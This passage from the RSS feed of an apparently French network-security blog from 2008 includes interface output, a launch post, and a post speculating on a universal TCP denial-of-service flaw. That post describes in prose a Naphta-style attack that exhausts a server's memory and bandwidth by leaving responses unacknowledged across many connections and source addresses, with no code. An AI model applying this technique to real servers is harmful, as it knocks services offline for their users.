lo: flags=0x3&amp;lt;UP,LOOPBACK&amp;gt; mtu 16436
	inet 127.0.0.1/8
	alias ::1
eth0: flags=0x31&amp;lt;UP,BROADCAST,MULTICAST&amp;gt; mtu 1500
	link 00:13:a9:2c:5b:a3
wmaster0: flags=0x31&amp;lt;UP,BROADCAST,MULTICAST&amp;gt; mtu 1500
	link 00:13:02:44:63:2b
eth1: flags=0x31&amp;lt;UP,BROADCAST,MULTICAST&amp;gt; mtu 1500
	link 00:13:02:44:63:2b
wifi0: flags=0x31&amp;lt;UP,BROADCAST,MULTICAST&amp;gt; mtu 1500
	link 00:1e:2a:02:ea:de
ath0: flags=0x31&amp;lt;UP,BROADCAST,MULTICAST&amp;gt; mtu 1500
	inet 192.168.0.101/24
	link 00:1e:2a:02:ea:de
	alias fe80::21e:2aff:fe02:eade/64
&lt;/pre&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2008/10/26/libdnet-mon-amie#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2008/10/26/libdnet-mon-amie#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/3</wfw:commentRss>
      </item>
    
  <item>
    <title>Déni de service universel dans TCP</title>
    <link>http://www.protocol-hacking.org/post/2008/10/14/Deni-de-service-universel-dans-TCP</link>
    <guid isPermaLink="false">urn:md5:a5288b7ef37e17147d25b723304674a7</guid>
    <pubDate>Tue, 14 Oct 2008 23:36:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Vulnérabilité</category>
        <category>DoS</category><category>tcp</category>    
    <description>    &lt;p&gt;Bon, difficile d'y échapper, surtout à quelques jours de la diffusion des &lt;a href=&quot;http://www.t2.fi/schedule/2008/&quot; hreflang=&quot;en&quot;&gt;détails&lt;/a&gt;. Ce billet fait suite à l'annonce vu sur le &lt;a href=&quot;http://blog.robertlee.name/2008/08/updates.html&quot; hreflang=&quot;en&quot;&gt;blog&lt;/a&gt; des chercheurs de chez &lt;a href=&quot;http://www.outpost24.com/&quot; hreflang=&quot;en&quot;&gt;Outpost24&lt;/a&gt; relatant une nouvelle faille dans le design du protocole le plus utilisé dans l'Internet.&lt;/p&gt;


&lt;p&gt;Cette faille, si l'on en croit le peu qui a pu filtrer, porte sur la gestion de la machine à état de TCP. En amenant cette machine dans un certain état, il serait possible de bloquer de l'allocation mémoire sur le système cible, finissant par saturer sa mémoire. Ou bien de saturer sa bande passante. Seulement 200 packets par secondes seraient même suffisant. Tous les systèmes d'exploitation seraient affectés. Well. Want to see that.&lt;/p&gt;


&lt;p&gt;Du coup, je me suis (re)penché sur des techniques aussi vieilles que &lt;a href=&quot;http://www.cert.org/advisories/CA-2000-21.html&quot; hreflang=&quot;en&quot;&gt;Naphta&lt;/a&gt;, en y apportant certaines modifications. Je ne vais pas faire un billet complet sur Naphta, mais en gros, Naphta amène la pile TCP/IP cible soit dans l'état ESTABLISHED, soit dans l'état FIN_WAIT_1 pour accomplir sa sombre tâche de destruction.&lt;/p&gt;


&lt;p&gt;Une des dernières hypothèses sur le sujet était une évolution de Naphta, avec en plus l'envoi d'un payload applicatif vers la cible. En n'acquittant pas la réponse obtenue à une requête applicative, la cible va réémettre de nombreuses fois sa réponse, saturant un peu plus sa bande passante ainsi que sa mémoire (le tampon de réponse n'étant jamais libéré).&lt;/p&gt;


&lt;p&gt;Faisons un rapide calcul. Soit une adresse IP ouvrant 60 000 connexions vers un serveur Apache. Imaginons que chacune de ces connexions entraîne l'émission d'une réponse HTTP d'environ 2 ko (chiffre arbitraire, mais je le prends comme moyenne acceptable). 60 000 x 2, soit 120 Mo. Outre le fait que je vais me prendre 120 Mo de trafic dans la tronche, la cible risque fort de garder 120 Mo de tampon alloués en mémoire. Et oui, puisque je n'acquitterai pas (au sens TCP ACK), la cible va garder ça dans un tampon, et réémettre à certains intervalles ce packet (et encore me balancer 120 Mo dans la tronche).&lt;/p&gt;


&lt;p&gt;Vous allez me dire&amp;nbsp;: la cible supportera certainement 120 Mo dans sa mémoire et sur sa bande passante. Par contre moi ... Maintenant, multipliez ce nombre par 10. 10 machines lançant cette attaque. En cherchant un peu, il est possible (hypothèse de ma part) que les chercheurs en question utilisent plusieurs adresses IP sources pour leur attaque. D'abord pour contourner la limitation de bande passante de l'attaquant, ensuite pour contourner la limitation des 60 000 (65 535, en fait) connexions correspondant au tuple adresseSource,portSource,adresseDestination,portDestination. Là, on atteint 1 Go pour 10 IP. 10 Go pour 100 IP. Ca à l'air pas mal.&lt;/p&gt;


&lt;p&gt;Ainsi, j'ai développé un programme en utilisant mon framework préféré (&lt;a href=&quot;http://search.cpan.org/~gomor/Net-Frame/&quot; hreflang=&quot;en&quot;&gt;Net::Frame&lt;/a&gt;) pour tester l'efficacité des ces attaques. Mais comme ce soir, j'ai la flemme de mettre ça au propre, ce sera peut-être l'objet d'un autre billet.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2008/10/14/Deni-de-service-universel-dans-TCP#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2008/10/14/Deni-de-service-universel-dans-TCP#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/2</wfw:commentRss>
      </item>
    
  <item>
    <title>Il était temps ...</title>
    <link>http://www.protocol-hacking.org/post/2008/10/14/Il-etait-temps</link>
    <guid isPermaLink="false">urn:md5:5a518ec14e1d96cc6be296403ef0c4ca</guid>
    <pubDate>Tue, 14 Oct 2008 19:03:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>news</category>    
    <description>    &lt;p&gt;Et oui, il était temps pour moi d'avoir un blog. Je ne vois pas pourquoi, moi, j'en n'aurais pas un. Alors sans hésitations, j'ai pris &lt;a href=&quot;http://www.dotclear.net/&quot; hreflang=&quot;fr&quot;&gt;DotClear&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Ceux qui me connaissent se demanderont pourquoi j'ai pris un truc en Pé-Ash-Pé. Ben, parce que DotClear, c'est simple :) Et j'avais pas envie de chercher pendant 3 jours une version en &lt;a href=&quot;http://www.perl.org&quot; hreflang=&quot;en&quot;&gt;Perl&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Sur ce blog, Je vais me concentrer sur le 'hack' de protocoles réseaux. Pourquoi&amp;nbsp;? parce que j'aime ça :) je montrerais des exemples concret d'utilisation de mon framework de construction et d'injection de packets réseau préféré&amp;nbsp;: &lt;a href=&quot;http://search.cpan.org/~gomor/Net-Frame/&quot; hreflang=&quot;en&quot;&gt;Net::Frame&lt;/a&gt;. Vous me direz&amp;nbsp;: c'est quoi le hack de protocole réseau&amp;nbsp;? Eh bien c'est l'art d'exploiter les failles dans le design des protocoles, afin de faire faire des choses non-prévues dès le début. C'est aussi comment exploiter les failles d'implémentation, ou encore comment &lt;a href=&quot;http://fr.wikipedia.org/wiki/Fuzzing&quot; hreflang=&quot;fr&quot;&gt;fuzzer&lt;/a&gt; un protocole.&lt;/p&gt;


&lt;p&gt;Vous l'aurez compris, c'est un blog dédié à la couche réseau (and related). J'espère avoir l'inspiration suffisamment souvent, et sur des sujets suffisamment intéressant pour faire vivre ce 'yet another security blog'. Bonne lecture.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2008/10/14/Il-etait-temps#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2008/10/14/Il-etait-temps#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/1</wfw:commentRss>
      </item>
    
</channel>
</rss>